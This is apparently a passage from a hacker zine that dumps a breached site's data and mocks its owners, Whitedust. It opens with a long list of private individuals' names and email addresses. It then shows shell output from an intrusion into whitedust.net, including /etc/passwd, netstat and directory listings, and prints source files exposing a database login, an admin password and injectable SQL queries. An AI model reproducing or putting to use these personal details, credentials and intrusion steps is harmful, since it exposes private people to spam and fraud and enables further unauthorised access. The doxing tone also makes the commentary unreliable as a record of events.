 'Raymond & Jenny Wallace', 'raymondpwallace(a)eircom.net');
 'Miceal McEvoy & Lesley Sharvin', 'miceal.f.mcevoy(a)intel.com
 'Miceal McEvoy & Lesley Sharvin', 'miceal.f.mcevoy(a)intel.com
 'Eugen & Louisa Jaarsveld', 'eugen(a)mauamaraconstruction.com'
 'Eugen & Louisa Jaarsveld', 'eugen(a)mauamaraconstruction.com'
 'Linda Nolan', 'lindanolan50(a)hotmail.com');
 'Grainne O\\''Connor & Mark O\\''kelly', 'groconnor(a)lehman.c
 'Grainne O\\''Connor & Mark O\\''kelly', 'groconnor(a)lehman.c
 'Bruce Crehan & Paula Ryan', 'bruce.crehan(a)falconholidays.ie
 'Bruce Crehan & Paula Ryan', 'bruce.crehan(a)falconholidays.ie
 'Ronan Mulvaney', 'rmulvaney(a)curamsoftware.com');
 'Sean & Ciara Leahy', 'seanleahy73(a)hotmail.com');
 'Julliana Mullin', 'julie_mullin(a)hotmail.com');
 'James & Monica Mullin', 'julie_mullin(a)hotmail.com');
 'Rory Conway & Maeve Gromley', 'r_conway(a)vodafone.ie');
 'Niamh O\\''Connor &  Jonathon Myers', 'niamh.myer(a)cw.com');
 'Katie Silcock & Donal Donnelly', 'katie.silcock(a)hotmail.com
 'Katie Silcock & Donal Donnelly', 'katie.silcock(a)hotmail.com
 'Adrian & Anna-Maria Phelan', 'aphelan(a)tarasupport.co.uk');
 'Lorraine Eagleton & Sylvester Mannion', 'l.eagleton(a)contech
 'Lorraine Eagleton & Sylvester Mannion', 'l.eagleton(a)contech
 'Yvonne & Karen Dalton', 'remaxroyalcounty(a)eircom.net');
 'Eugen & Louisa Jaarsveld', 'eugen(a)mauamaraconstruction.com'
 'Eugen & Louisa Jaarsveld', 'eugen(a)mauamaraconstruction.com'
 'Linda Nolan', 'lindanolan50(a)hotmail.com');
 'Grainne O\\''Connor & Mark O\\''kelly', 'groconnor(a)lehman.c
 'Grainne O\\''Connor & Mark O\\''kelly', 'groconnor(a)lehman.c
 'Bruce Crehan & Paula Ryan', 'bruce.crehan(a)falconholidays.ie
 'Bruce Crehan & Paula Ryan', 'bruce.crehan(a)falconholidays.ie
 'Ronan Mulvaney', 'rmulvaney(a)curamsoftware.com');
 'Sean & Ciara Leahy', 'seanleahy73(a)hotmail.com');
 'Julliana Mullin', 'julie_mullin(a)hotmail.com');
 'James & Monica Mullin', 'julie_mullin(a)hotmail.com');
 'Rory Conway & Maeve Gromley', 'r_conway(a)vodafone.ie');
 'Niamh O\\''Connor &  Jonathon Myers', 'niamh.myer(a)cw.com');
 'Katie Silcock & Donal Donnelly', 'katie.silcock(a)hotmail.com
 'Katie Silcock & Donal Donnelly', 'katie.silcock(a)hotmail.com
 'Adrian & Anna-Maria Phelan', 'aphelan(a)tarasupport.co.uk');
 'Lorraine Eagleton & Sylvester Mannion', 'l.eagleton(a)contech
 'Lorraine Eagleton & Sylvester Mannion', 'l.eagleton(a)contech
 'Yvonne & Karen Dalton', 'remaxroyalcounty(a)eircom.net');
 'Helene Enberg', 'helene_enberg(a)hotmail.com');
 'Orlaith Egan', 'oegan(a)wccprojectoffice.ie');
 'Pauric Reilly', 'pauric.reilly(a)maild.hse.ie');
 'Elliott & Eri McNamara', 'elliott.mcnamara(a)intel.com');
 'Ita Healy', 'mihealy(a)eircom.net');
 'Susan Cosgrove', '5796(a)campus.ie');
 'Mary Butler & Ciaran Hughes', 'mary.butler(a)unilever.com');
 'Martin Traynor', 'marko1980(a)hotmail.com');
 'Ian Deacon & Anna-Marie Brennan', 'ideac123(a)hotmail.com');
 'Stephan Davis & Alexia Davy', 'Stephend(a)ocallaghanhotels.ie
 'Stephan Davis & Alexia Davy', 'Stephend(a)ocallaghanhotels.ie
 'Craig O Brien', 'devers999(a)hotmail.com');
 'Anna Connolly', 'connollya(a)eircell.ie');
 'Edward Costello', 'eddie.costello(a)esat.com');
 'Conor Feeney & Caroline Miskella', 'conor.feeney(a)bankofscot
 'Conor Feeney & Caroline Miskella', 'conor.feeney(a)bankofscot
 'Gary & Ruth Donnelly', 'gary.donnelly(a)firstactive.com');
 'Veronica McHugh', 'vmchugh(a)rotunda.ie');
 'Jason  Breen & Amanda Brown', 'A.brown(a)frkelly.ie');
 'Liam Barry', 'liambarry(a)eircom.net');
 'Veronica McHugh', 'vmchugh(a)rotunda.ie');
 'Kevin & Catherine Povall', 'kevpovall(a)eircom.net');
 'Eimear Keogh', 'e.keogh(a)dublinpeople.ie');
 'Maria Hogan & Ollie O Farrell', 'oliver.o\\''farrell(a)smartf
 'Maria Hogan & Ollie O Farrell', 'oliver.o\\''farrell(a)smartf
 'Patricia Loh & Alan McArdle', 'ploh(a)eircom.ie');
 'Louise Hogan', 'louise(a)bluepages.ie');
 'Brendan Kelly', 'bwkelly(a)eircom.net');
 'Brendan Kelly', 'bwkelly(a)eircom.net');
 'Fintan O\\''Connor', 'foconnor(a)esat.ie');
 'Ian Hopkins', 'ian.hopkins(a)iec-logistic');
 'Denis & Marie Carty', 'Dcarty(a)lgcsb.ie');
 'Brian Motherway & Naomi Farrell', 'brian_motherway(a)guinness
 'Brian Motherway & Naomi Farrell', 'brian_motherway(a)guinness
 'Niall Gormley & Josephine O\\''Reilly', 'newsbase(a)eircom.ne
 'Niall Gormley & Josephine O\\''Reilly', 'newsbase(a)eircom.ne
 'Sandra Morris', 'smorris(a)bwg.ie');
 'Dominic Moriarity & Najia Saidi', 'moriarDA(a)appliedbiosyste
 'Dominic Moriarity & Najia Saidi', 'moriarDA(a)appliedbiosyste
 'Lynsey Kenna', 'lkenna(a)woodcomm.ie');
 'Gemma Sheridan', 'gsheridan(a)espatial.com');
 'Dominic Moriarity & Najia Saidi', 'moriarDA(a)appliedbiosyste
 'Dominic Moriarity & Najia Saidi', 'moriarDA(a)appliedbiosyste
 'Shane Kenny & Lisa Kendrick', 'lisakendrick26(a)hotmail.com')
 'Shane Kenny & Lisa Kendrick', 'lisakendrick26(a)hotmail.com')
 'Paula Lawlor & David Smith', 'manager.cl(a)firstchoicetravel.
 'Paula Lawlor & David Smith', 'manager.cl(a)firstchoicetravel.
 'Christopher Kenny & Marie McCaffrey', 'marie.mccaffrey(a)dubl
 'Christopher Kenny & Marie McCaffrey', 'marie.mccaffrey(a)dubl
 'Fiona Kavanagh', 'rkavan(a)eircom.ie');
 'John Devlin & Gemma Woods', 'johndevlin40(a)hotmail.com');
 'Robert Archbold & Sandra Morris', 'rarchbold(a)heitons.ie');
 'Barry Hearns', 'rkavan(a)eircom.ie');
 'John Doherty', 'bussybee(a)milton-institute.ie');
 'Niamh O`Donnell & Liam Lunney', 'niamh.odonnell(a)csplc.com')
 'Niamh O`Donnell & Liam Lunney', 'niamh.odonnell(a)csplc.com')
 'Alison O`Mahony & Joseph Long', 'alisonomahony2001(a)yahoo.co
 'Alison O`Mahony & Joseph Long', 'alisonomahony2001(a)yahoo.co
 'Simon Doherty', 'simondoherty(a)fineos.com');
 'Craig O Brien', 'devers999(a)hotmail.com');
 'Iulian & Anne Iurascu', 'iurascu(a)eircom.net');
 'Diarmuid & Avril McHugh', 'dmchugh(a)mchughgroup.ie');
 'Brendan Kelly', 'bwkelly(a)eircom.net');
 'Tony & Susan dunne', 'anthony.dunne(a)pioneerinvest.ie');
 'Katie Silcock & Donal Donnelly', 'katie.silcock(a)hotmail.com
 'Katie Silcock & Donal Donnelly', 'katie.silcock(a)hotmail.com
 'Diarmuid Kelly & Rachel Corcoran', 'diarmuid.kelly(a)piba.ie'
 'Diarmuid Kelly & Rachel Corcoran', 'diarmuid.kelly(a)piba.ie'
 'Adrian & Anna-Maria Phelan', 'aphelan(a)tarasupport.co.uk');
 'Thomas & Margaret Geraghy', 'tommygeraghty(a)gmail.com');
 'Mel O Carroll', 'mel_ocarroll(a)ml.com');
 'Barry Lonergan & Kelley Mc Donagh', 'barry_lonergan(a)02.ie')
 'Barry Lonergan & Kelley Mc Donagh', 'barry_lonergan(a)02.ie')
 'Karen Hynes & Robert O reilly', 'oreilly(a)hp.com');
 'David O Neill & Eve Mulvaney', 'evemulvaney(a)anpost.ie');
 'Shane Sloan', 'Shane.Sloan(a)intel.com');
 'Elaine O Rourke & Mark Davis', 'elaine(a)tpi.ie');
 'Alan Mooney & Claire Noonan', 'MooneyAlan(a)aol.com');
 'Leona Keegan & Ciaran Cullinan', 'leona_keegan(a)ml.com');
 'Eamonn Meehan', 'eamonn(a)bordahl.ie');
 'Graham & Roslyn Elgie', 'graham.elgie(a)gmail.com');
 'Mark & Jane Lawlor', 'janelawlor(a)eircom.net');
 'David Healey & Karen McElhinnery', 'david.healey(a)ntl.com');
 'Morgan Keogh & Hillary Madden', 'morgan.keogh(a)hughjordan.co
 'Morgan Keogh & Hillary Madden', 'morgan.keogh(a)hughjordan.co
 'Gavin Egan', 'gegan01(a)yahoo.com');
 'Like Carroll & Victoria Vogel', 'victoria.vogel(a)marine.ie')
 'Like Carroll & Victoria Vogel', 'victoria.vogel(a)marine.ie')
 'James Williams', 'jamesw-tedrum(a)yahoo.ie');
 'Damien Hickey', 'damien(a)freewayie.com');
 'Joseph Loftus', 'joe.loftus(a)amo-inc.com');
 'Sean & Fiona Fennelly', 'sean.b.fennelly(a)intel.com');
 'Paul Corcoran & Fiona Moran', 'fiona.moran(a)drm.ie');
 'Robert Ennis', 'robennis122(a)hotmail.com');
 'Sarah Rogers & Sean Cassidy', 'smith cassidy(a)eircom.net');
 ' Jacqueline Duggan', 'jackie.duggan(a)firstactive.com');
 'Cyril Gordet', 'cyrilgordet(a)hotmail.com');
 'Cyril Gordet', 'cyrilgordet(a)hotmail.com');
 'Ian Leach', 'ian.leach(a)spcorp.com');
 'Tom & Aideen Maher', 'tmaher61(a)indigo.ie');
 'Martin & Sinead Finnegan', 'scd141273(a)eircom.net');
 'Pat Gallagher', 'pat.gallagher(a)gtm.ie');
 'Ciaran Fitzpatrick', 'ciaranfitzpatrick(a)hotmail.com');
 'Windsor Landan & Stephanie Ennis', 'windsor(a)iolfree.ie');
 'Dermot & Marueen Peakin', 'marueenpeakin(a)hotmail.com');
 'Fintan O Connor & Eavan Breslin', 'Foconnor(a)esat.ie');
 'Stewart Steele', 'stewart.steele(a)siemens.ie');
 'Gunther Plank & Bernice Howe', 'Plank_Gun(a)yahoo.ie');
 'Gerry & Marian Murphy', 'cgMruphy.gofree.eircom.ie');
 'Sean Cassidy & Shakira Nelis', 'sean_cassidy(a)ryan-hotels.co
 'Sean Cassidy & Shakira Nelis', 'sean_cassidy(a)ryan-hotels.co
 'Patrict & Janet Hobbs', 'PandJhobbs(a)eircom,net');
 'Donal & Siobhan Howe', 'howby(a)eircom.net');
 'Anthony & Ann Burton', 'aburton(a)uprighteuro.com');
 'Dermot & Lorraine McMullan', 'Dermotmcm(a)oceanfree.net');
 'Carmel McManus', 'carmel_mcmanus(a)entemp.ie');
 'Liam & Jean Keane', 'liam.keane(a)tecnomen.ie');
 'Claire Gillard & Billy Foley', 'claire.gillard(a)yahoo.com');
 'Noelle McCabe & James King', 'noelle.mccabe(a)connectcgs.com'
 'Noelle McCabe & James King', 'noelle.mccabe(a)connectcgs.com'
 'Gerry & Clare Nolan', 'gerry.nolan(a)investec.ie');
 'Ciara & Stephen O\\''Brien', 'ciara_davis(a)hotmail.com');
 'John & Aine Godson', 'john.godson(a)aramco.com');
 'Dr Pradeep & Rita Chadha', 'chadhap(a)indigo.ie');
 'Stephen Moran & Amanda Daunt', 'Stephen.Moran(a)permanenttsb.

==The Black and White Ball

Some of you may remember this ill-fated attempt to make money. In February
2007 Whitedust announced they were hosting a hacker conference in
September. It was to be split into "Whitehat" and "Blackhat" sections. In
July the website changed to a one-page message saying that the conference
had to be cancelled due to banking difficulties. The duo then proceeded to
never mention the conference again.

For anybody suspicious about this, here is the real reason the B&W Ball
had to be cancelled:

-- 
-- Table structure for table `bw_tickets`
-- 

CREATE TABLE `bw_tickets` (
  `TicketID` bigint(10) NOT NULL auto_increment,
  `TicketRand` varchar(15) default NULL,
  `Name` varchar(100) default NULL,
  `Company` varchar(100) default NULL,
  `Address` text,
  `Telephone` varchar(100) default NULL,
  `Fax` varchar(100) default NULL,
  `Email` varchar(100) default NULL,
  `fAllAccess` tinyint(1) default NULL,
  `fWhite` tinyint(1) default NULL,
  `fBlack` tinyint(1) default NULL,
  PRIMARY KEY  (`TicketID`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;

-- 
-- Dumping data for table `bw_tickets`
-- 

INSERT INTO `bw_tickets` VALUES (1, '123456789012345', 'Mark Anderson',
'Mercury Software', NULL, NULL, NULL, NULL, 1, 0, 0);
INSERT INTO `bw_tickets` VALUES (2, '253453453645645', 'Mark Hinge',
'Pirates Inc.', NULL, NULL, NULL, NULL, NULL, 1, NULL);
INSERT INTO `bw_tickets` VALUES (3, '563524352342343', 'Peter Prickett',
'Pricket & Co', NULL, NULL, NULL, NULL, NULL, NULL, 1);

-- --------------------------------------------------------

That's right, the only tickets they "sold" were to Cronus, psg, and
chickensoup. 

Check out how Peter Prickett is the blackhat of SoL.

Is it just me or were the talks on the blackhat panel no different from
the talks on the whitehat panel?

Why did the ball find itself so unpopular? Let's suggest some points:

- It was hosted over four days. This was probably to get as much money as
  possible from attendees drinking. 
- Only one talk running at a time.
- It held only 20 talks in total.
- These talks were lame.
- You could see half the speakers in Defcon.
- They stole the name from Defcon.
- Whitedust has no credibility.
- Whitedust's legions of 14 year old virgins/wannabes/php coders can't
  afford a con
- People in the security industry don't want to go to a conference with no
  new material
- The cost was 320 euros!

psg lacks understanding - "You'd spend that much if you went to the black
hat briefings though... the difference between a corporate conference and
the defcon side event... and B&W is longer."

Sure, you could pay less to go for only two days and see half the shitty
talks. Or you could pay 1/5 of the price to go to Defcon and see many more
talks, generally of a higher quality, and be able to choose what to see
out. The quality of talk at the B&W Ball called for a small entrance fee,
if you are in the 320 euro range then you need to have a higher quality of
talks, or at least something new, to attract corporate slaves.

All of the speakers either signed up for the free trip or because they
wanted to pad their resume with yet another talk this year.

Of course, this could easily be an area where the Whitedust folks lie about,
because it is kind of embarassing. Maybe they'll say that people could not
be added until the banking issues were cleared up, and that these were
only free tickets. However, the link for Tickets was still up, with an email
address to contact to arrange financial information. Can anyone say they
actually tried that, and were told to wait a bit while details were sorted
out?

==whitedust.net

Here comes your fun. The big WD itself.

$ ls -la /
drwxr-xr-x   25 root root   4096 Apr 12 11:48 .
drwxr-xr-x   25 root root   4096 Apr 12 11:48 ..
-rw-------    1 root root  23552 Aug  3 11:47 aquota.group
-rw-------    1 root root  24576 Aug  3 11:47 aquota.user
-rw-r--r--    1 root root      0 Mar 10 15:49 .autofsck
drwxr-xr-x    2 root root   4096 Jun 27 04:04 bin
drwxr-xr-x    3 root root   4096 Mar 10 15:47 boot
drwxr-xr-x    9 root root   4520 Jun 26 15:13 dev
drwxr-xr-x   66 root root  12288 Aug  3 10:25 etc
drwx--x--x  877 root root  20480 Aug  2 20:52 home
drwxr-xr-x    2 root root   4096 Aug 12  2004 initrd
drwxr-xr-x   12 root root   4096 Aug  1 04:06 lib
drwx------    2 root root  16384 Mar  9 23:07 lost+found
drwxr-xr-x    3 root root   4096 Jun 26 15:13 media
drwxr-xr-x    2 root root   4096 Apr 11 20:27 misc
drwxr-xr-x    2 root root   4096 Aug 12  2004 mnt
drwxr-xr-x    2 root root   4096 Apr 26 15:25 opt
dr-xr-xr-x  481 root root      0 Mar 10 15:49 proc
drwxr-x---   10 root root   4096 Jul 27 13:59 root
drwxr-xr-x    2 root root  12288 Jul  3 04:04 sbin
drwxr-xr-x    2 root root   4096 Mar  9 23:09 selinux
drwx------    2 root root   4096 Mar 12 04:17 .spamassassin
drwxr-xr-x    2 root root   4096 Aug 12  2004 srv
drwxr-xr-x    9 root root      0 Mar 10 15:49 sys
-rw-r--r--    1 root root  77258 Apr 12 11:44 temp.txt
drwxrwxrwt    8 root root 888832 Aug  3 12:45 tmp
drwxr-xr-x    2 root root   4096 Apr  1 10:30 update
drwxr-xr-x   17 root root   4096 Mar 10 16:52 usr
drwxr-xr-x   23 root root   4096 Mar 12 11:07 var

$ head -50 /etc/passwd 
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
apache:x:100:500::/var/www:/bin/false
diradmin:x:101:101::/usr/local/directadmin:/bin/bash
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
admin:x:500:501::/home/admin:/bin/bash
dovecot:x:104:104::/home/dovecot:/bin/bash
clamav:x:501:502:ClamAV User:/home/clamav:/bin/bash
testerdoma:x:502:503::/home/testerdoma:/bin/false
hola123456:x:503:504::/home/hola123456:/bin/false
qetuoa:x:504:505::/home/qetuoa:/bin/bash
mark:x:505:506::/home/mark:/bin/false
ntp:x:38:38::/etc/ntp:/sbin/nologin
olympus:x:506:507::/home/olympus:/bin/false
kieranl:x:507:508::/home/kieranl:/bin/false
termad:x:508:509::/home/termad:/bin/false
dairymaste:x:509:510::/home/dairymaste:/bin/false
ballyduff:x:510:511::/home/ballyduff:/bin/false
dairyking:x:511:512::/home/dairyking:/bin/false
emagri:x:512:513::/home/emagri:/bin/false
imqcs:x:513:514::/home/imqcs:/bin/false

In case anyone was wondering, their sshd is full "Privilege-separated"!
Thanks, host, for descriptive names.

$ wc -l /etc/passwd
907 /etc/passwd

$ netstat | head -30
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address		Foreign Address 	  
 State	    
tcp	   0	  0 lala.blacknight.ie:11553	*:*
 LISTEN      
tcp	   0	  0 *:1505			*:*			  
 LISTEN      
tcp	   0	  0 *:rwhois			*:*			  
 LISTEN      
tcp	   0	  0 *:imaps			*:*			  
 LISTEN      
tcp	   0	  0 *:pop3s			*:*			  
 LISTEN      
tcp	   0	  0 *:smux			*:*			  
 LISTEN      
tcp	   0	  0 *:mysql			*:*			  
 LISTEN      
tcp	   0	  0 *:submission		*:*			  
 LISTEN      
tcp	   0	  0 *:2222			*:*			  
 LISTEN      
tcp	   0	  0 *:pop3			*:*			  
 LISTEN      
tcp	   0	  0 *:imap			*:*			  
 LISTEN      
tcp	   0	  0 *:http			*:*			  
 LISTEN      
tcp	   0	  0 gorlois.blacknight.ie:http 
adolfo-icatm106728-la:49217 SYN_RECV	
tcp	   0	  0 gorlois.blacknight.ie:http 
host86-141-170-77.rang:3622 SYN_RECV	
tcp	   0	  0 gorlois.blacknight.ie:http	coopzoo178.ucc.ie:4751	  
 SYN_RECV    
tcp	   0	  0 *:ftp			*:*			  
 LISTEN      
tcp	   0	  0 252-101.colo.sta.bla:domain *:*			  
 LISTEN      
tcp	   0	  0 252-99.colo.sta.blac:domain *:*			  
 LISTEN      
tcp	   0	  0 252-98.colo.sta.blac:domain *:*			  
 LISTEN      
tcp	   0	  0 252-97.colo.sta.blac:domain *:*			  
 LISTEN      
tcp	   0	  0 252-96.colo.sta.blac:domain *:*			  
 LISTEN      
tcp	   0	  0 252-95.colo.sta.blac:domain *:*			  
 LISTEN      
tcp	   0	  0 252-92.colo.sta.blac:domain *:*			  
 LISTEN      
tcp	   0	  0 252-93.colo.sta.blac:domain *:*			  
 LISTEN      
tcp	   0	  0 252-89.colo.sta.blac:domain *:*			  
 LISTEN      
tcp	   0	  0 gorlois.blacknight.i:domain *:*			  
 LISTEN      
tcp	   0	  0 lala.blacknight.ie:domain	*:*			  
 LISTEN 
tcp	   0	  0 lala.blacknight.ie:domain	*:*			  
 LISTEN


That's just to give you an idea of the server they are hosted on. We don't
have root, and there was no need to get it.

$ ls
1.css		blackdust	  cp_changepassword.php 
cp_managesections.php  filter.php      login.php   search.php
404handler.php	cache		  cp_createpage.php	 cp_newsreader.php
     images	     logout.php  sections.php
archive.php	captcha 	  cp_deletenews.php	 cp_postnews.php  
     inc-footer.php  Mail	 sessions
awstats 	cgi-bin 	  cp_deletepage.php	
cp_postsidenews.php    inc-header.php  Mail.php    shop
backup20070105	common		  cp_editnews.php	 cronusblogimages 
     index.php	     PEAR.php	 viewnews.php
backup20070717	controlpanel.php  cp_editpage.php	 data_referers.txt
     labs	     publishing  viewpage.php

$ ls awstats/
bookmarks.html

$ perl -lne 'print $1 if m!"(http://[\w-./]+)"!;' awstats/bookmarks.html
http://www.textscene.com/
http://www.neworder.box.sk/
http://antionline.com/
http://www.evilhosting.org/
http://reallifecomics.com/
http://www.clutzed.com/
http://www.hungryhacker.com/
http://www.thegreatone.me.uk/
http://www.steinsky.me.uk/
http://www.infectedloser.com/
http://www.whitedust.net/
http://slashdot.org/
http://www.topix.net/tech/computer-security
http://news.zdnet.co.uk/internet/security/
http://www.theregister.co.uk/
http://www.computerworld.com/
http://www.securityfocus.com/
http://www.eweek.com/
http://www.indymedia.org.uk/en/regions/london/
http://www.wbglinks.net/
http://www.macnewsworld.com/
http://www.linuxsecurity.net/
http://packetstormsecurity.nl/
http://news.bbc.co.uk/
http://www.internetsecuritynews.com/
http://www.securitypipeline.com/
http://www.clutzed.com/forum
http://roxorz.org/phpbb/
http://www.soljo.org/london/forum/
http://www.second-time-around.co.uk/phpBB2/index.php
http://addendum.proboards22.com/
http://maddox.xmission.com/
http://www.spaced-out.org.uk/
http://www.merentha.com/
http://www.vampiretheseduction.net/html/
http://merenthaunderground.frostenterprises.com/home.htm
http://www.patman.org/wod/wodindex.asp
http://www.palmblvd.com/
http://www.bb4win.org/news.php
http://whitedust.net/awstats/
http://www.submitcorner.com/Tools/Submit/
http://www.sms.ac/
http://searchenginewatch.com/facts/article.php/2156041
http://world.altavista.com/
http://www.publicproxyservers.com/page1.html
http://www.webstats.xcalibre.co.uk/
http://www.xcalibre.co.uk/status.php
http://cp.xcalibre.co.uk/
http://www.bt.com/favicon.ico
http://svr1.16o.com/tools/qmailadmin/
http://www.uksmallbusinessdirectory.co.uk/
http://www.start-linux.com/
http://www.feeds4all.com/
http://www.securiteam.com/exploits/
http://exploitwatch.org/modules/evennews/
http://www.8th-wonder.net/exploits.dxd
http://johnny.ihackstuff.com/
http://neworder.box.sk/explmore.php
http://www.k-otik.com/english/index.php
http://londonlostandfound.com/free/freereviews.htm
http://www.masternewmedia.org/rss/top55/
http://www.worldcomputerexchange.org/
http://www.gamespot.com/ps2/action/gta4/hints.html
http://attrition.org/security/commentary/
http://searchsecurity.techtarget.com/
http://www.securitypark.co.uk/
http://lists.freebsd.org/mailman/listinfo
http://www.insecure.org/
http://blackhat.com/
http://www.dynamichell.com/e107/news.php
http://www.infoanarchy.org/
http://www.microsoft.com/technet/security/bulletin/advance.mspx

As you can see, that's a really elite hacker there. They steal all their
news from only the best sites.

$ ls Mail
Net  PEAR.php  RFC822.php  mail.php  mime.php  mimeDecode.php 
mimePart.php  null.php	sendmail.php  smtp.php	xmail.dtd  xmail.xsl

$ ls blackdust/
blackdust-small.png  blackdust.png  cgi-bin	   index.php	 
search.php  style.css
blackdust.net.zip    blackdust.xml  customize.php  referrals.txt 
spacer.gif

$ head blackdust/referrals.txt 
http://www.dinside.no/artikler/whitedust/artid390761.html
http://www.dinside.no/artikler/whitedust/artid390761.html
http://www.dinside.no/php/art.php?id=390761
http://www.dinside.no/artikler/whitedust/artid390761.html
http://www.google.no/search?hl=no&q=Whitedust&btnG=S%C3%B8k&meta=
http://www.dinside.no/artikler/whitedust/artid390761.html
http://www.abcnyheter.no/node/49761
http://www.dinside.no/artikler/whitedust/artid390761.html
http://www.sol.no/
http://www.dinside.no/artikler/whitedust/artid390761.html

$ head -20 blackdust/search.php 
<?
// Blackdust Anonymous Google Proxy - http://blackdust.whitedust.net/
// 2007-07-25	version 1.0

$link = "http://www.google.com/search?safe=off&meta=";
foreach($_GET as $name => $value) {
	$link .= "&" . urlencode($name) . "=" . urlencode($value);
	if ($name == "query") { $query = $value; }
	if ($name == "q") { $query = $value; }
}

$data = file_get_contents ($link);
$data = str_replace ("\\&quot;", "&quot;", $data);
$data = str_replace ("\\&#39;", "&#39;", $data);


$searchCountry = "<select name='cr' style='width: 45px;'></option> \
		<option value=''>-</option> \
		<option value=countryAR>AR - Argentina</option> \
		<option value=countryAM>AM - Armenia</option> \

Amazing technology!

From blackdust/index.php:

	<p style="color: red;">
	In Blackdust's first week it received a staggering 50,000 unique
hits.<br/>
	We now realise just how important this tool is to many people. We
thank<br/>
	you for your supportive emails and comments. This message will be
taken down<br/>
	in two days. Please help spread the word.<br/>
	<br/>

Thank you Whitedust for providing the world with an anonymous search
engine! Your originality never ceases to amaze. 

Maybe these guys will log queries once they figure out how.

$ ls captcha/
CaptchaSecurityImages.php  Griffin.ttf	monofont.ttf  type_right.ttf

lol @ http://www.white-hat-web-design.co.uk in the .php

$ ls labs/
1.css  eve  gypsy  images  inc-footer.php  inc-header.php  index.php

$ ls labs/eve/
EveInstaller.exe	 changelog.php	     eve-bittorrent3.html  
eve.xml       inc-footer.php	 panel	       sgen.php
about.php		 contact.php	     eve-bittorrent3_media 
evepr.txt     inc-header.php	 press.php     sitelicense.php
activeparticipation	 count.txt	     eve-pr20070523.txt    
faq.php       index.php 	 register.php  sitemap.php
activeparticipation.php  download-count.php  eve-pr20070618.txt    
features.php  index.php.old-bad  screenshots   style.css
apreg.php		 download.php	     eve.pad		    images
       media.php	  scripts	version.txt

$ cat labs/eve/count.txt
4194

$ head labs/eve/evepr.txt 
FOR IMMEDIATE RELEASE


Contact: Mark Hinge, Operations Director, Whitedust.net
Tel: +44 - (0)07908-871-091
Email: mark.hinge@whitedust.net


DO YOU KNOW WHAT IS HAPPENING ON YOUR NETWORK? EVE DOES.
Whitedust Labs releases software that allows administrators to visualize
network traffic in real-time 3D.

$ Do you know what is happening on YOUR network? ZF0 DOES.

$ ls labs/eve/panel/
currentversion-files  currentversion-files.php	currentversion-number.php 
mailshot.php  unsub.php

$ head labs/eve/panel/unsub.php 
<?
// ### Eve Unsub
// ### copyright Mark Anderson / Whitedust.net 2007

$db_host   = "localhost";
$db_user   = "markande_apuser";
$db_pass   = "eveistheshit";
$db_db	   = "markande_eveap";

// connect to db

$ grep -i password labs/eve/panel/mailshot.php 
	if ($_REQUEST['Password'] == 'cocaine') {
	       $status = "Password invalid.<br/>\n";
					<td>Password:</td><td><input
type='password' name='Password' class='textarea'></td>

$ grep -i select labs/eve/apreg.php 
$db_selected = mysql_select_db($db_db, $db_remote);
if (!$db_selected) {
	die('DB ERROR, could not select $db_db database: ' .
mysql_error());
			$sqlchk = "select Username from serials where
(Username = '$username')";
				$sqlchk = "select Serial from serials
where (Email = '$email' and Serial = '$serial')";
	$sqllst = "select Username, Password from serials where (Username
!= '' and Password != '')";

$ ls labs/gypsy/
GypsyBETA2.rar	     contact.php   install.php	 paypal.jpg	  
ss-dos.jpg	  ss-main-thumb.jpg  ss-menu.jpg
about.php	     download.php  logo.jpg	 screenshots.php  
ss-emu-thumb.jpg  ss-main.jpg
banner-standard.jpg  index.php	   packages.php  ss-dos-thumb.jpg 
ss-emu.jpg	  ss-menu-thumb.jpg

$ ls publishing/
1.css  archive	images	inc-footer.php	inc-header.php	index.php

$ ls publishing/archive/
Other  Other.rar  RWM.rar  SPACT.rar  b0rk  b0rk.rar  doj  doj.rar  rwm 
soljo  soljo.rar  spact

$ ls shop/
1.css  cgi-bin	eveonline.php  images  inc-footer.php  inc-header.php 
index.php

$ cat data_referers.txt 
http://blackdust.whitedust.net/
http://www.cultdeadcow.com/cms/main.php3
http://my.yahoo.com/p/d.html
http://my.yahoo.com/p/d.html
RSS Concentrator

$ ls common/
classes  inc-conf.php  inc-db.php  inc-library.php  lastRSS.php 
modrestoreblog.php  rss.php

$ ls common/classes/
cBlogs.php  cComments.php  cNews.php  cPages.php  cProfiles.php  cRSS.php 
cReferrals.php	cUsers.php

$ grep -i select common/classes/cUsers.php 
		$retchk = mysql_query ("select UserID from wd3_users where
(Username = '$username' and Email = '$email' and UserID = '$I' and
ActivateKey = '$key')", $db_remote);
		$retchk = mysql_query ("select UserID, Email, Username,
ActivateKey from wd3_users where (Username = '$username' or Email =
'$email')", $db_remote);
